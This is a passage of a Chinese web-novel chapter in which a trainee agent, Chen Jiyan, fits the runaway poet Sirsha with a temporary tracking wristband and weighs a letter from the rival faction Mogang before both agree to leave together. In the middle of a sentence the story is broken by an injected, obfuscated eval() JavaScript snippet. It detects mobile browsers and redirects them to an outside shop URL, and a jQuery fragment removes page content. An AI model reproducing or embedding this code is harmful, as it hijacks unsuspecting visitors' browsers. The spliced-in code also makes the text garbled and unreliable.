爬上来时,不觉得有多高,站在二楼窗边望下去,高度有点吓人,他刚才落脚的几个地方,角度都极其刁钻。 “这件袍子给你,就说是我的新随从,之后出入教堂,不会有人为难。” 接过外套的同时,陈寄言反手抓住她的手腕。只是虚握着,她太瘦太小,伶仃的小臂仿佛一折就断。 “三秒就好,请配合工作。” “系统么?” 西尔莎好奇观察手腕上都出来的一圈东西,时不时戳一戳,并没有表现出抗拒。 “如果你之后定居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772061|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酊枢或者蔓都,会配备新的系统,这个手腕只是临时作用,方便共享定位,不过回去酊枢前最好不要用这个联系,我和同事来的时候就被人盯上,贸然启动,产生的波动会被捕捉。” “目标A?为什么要给草率的备注,不是给你看了我名字吗?” “太长了。”并且她的字体太抽象陈寄言看不出是什么字母更不会拼。 “你呢,叫什么名字?” “陈寄言。” “好的小陈。” 幼稚的报复。 “还有一件,你刚才提到默港,是有向那边求助?” 那么这次袭击,可能针对的并不是他,或者说不止他。 “作为任务对象,竟然不了解我的资料吗?对待自己的工作就是这个态度?”西尔莎为自己被轻视而感到不满。 “不是态度问题,我没有权限。”他现在还处在见习阶段,对任务毫无用处的信息不会展示,因为不需要他来做决策。 “我本来就是默港人。”她姑且接受了这个原因,勉为其难解释道。 “离家出走,大人不管?” “谁要他们管!一群自以为是的老家伙!” “任务详情没有,说明,你的身份背景对我的工作毫无益处。”陈寄言不留情面地戳穿这个事实。 “还不明白吗,小朋友,默港不在意你,酊枢认定你毫无威胁,所以我才会在这里。” 虽然对这位天才诗人对酊枢的意义不明,但是陈寄言明白自己几斤几两,重要任务哪里轮得到他。 “怎么可能,你别想套话,我可是——”西尔莎很少被这样贬低过,恼羞成怒。 可是什么? “默港来信,”她拆开信件,看到内容眉头紧锁,抬头看向陈寄言,表情复杂。 “不是写给我的,是写给你,陈寄言。” “信上说,不用在意酊枢系统,默港随时欢迎你去。” “你要去吗?”她的眼神充满了警惕,身体下意识后退几步,是明显的防御姿态。 “来的路上收到了袭击,看痕迹,大概是默港。” 真是阴魂不散。 “你真的会带我回酊枢?”只有陈寄言一个人说服力不够,有选择的情况下,她可不想再回默港。 “袭击真的跟你无关?你自愿跟我们走?” 双方都持怀疑态度,这不行,任务难度会大大增加。 “西尔莎,以防万一,我要跟你确认一遍,你是自愿离开,且不再回去的,是吗?” 明明这样年轻,身形也这样单薄,只比她高出一个头,西尔莎却隐约感受到一种无言的压迫感。 “当然,所以我联系酊枢把我带走。”默港只是他退而求其次的选择,万一酊枢没派人来,或者来得太晚,她得给自己留条后路。 小E给他的反馈,她的呼吸频率没有变化,大概率不是在撒谎。 “那就好,跟默港的关系,选择酊枢的原因,这些我都不会问,我的任务是将你转移,只要你配合,一周内,我们返回酊枢。” “合作愉快?”陈寄言伸出右手。 “合作愉快。”西尔莎回握。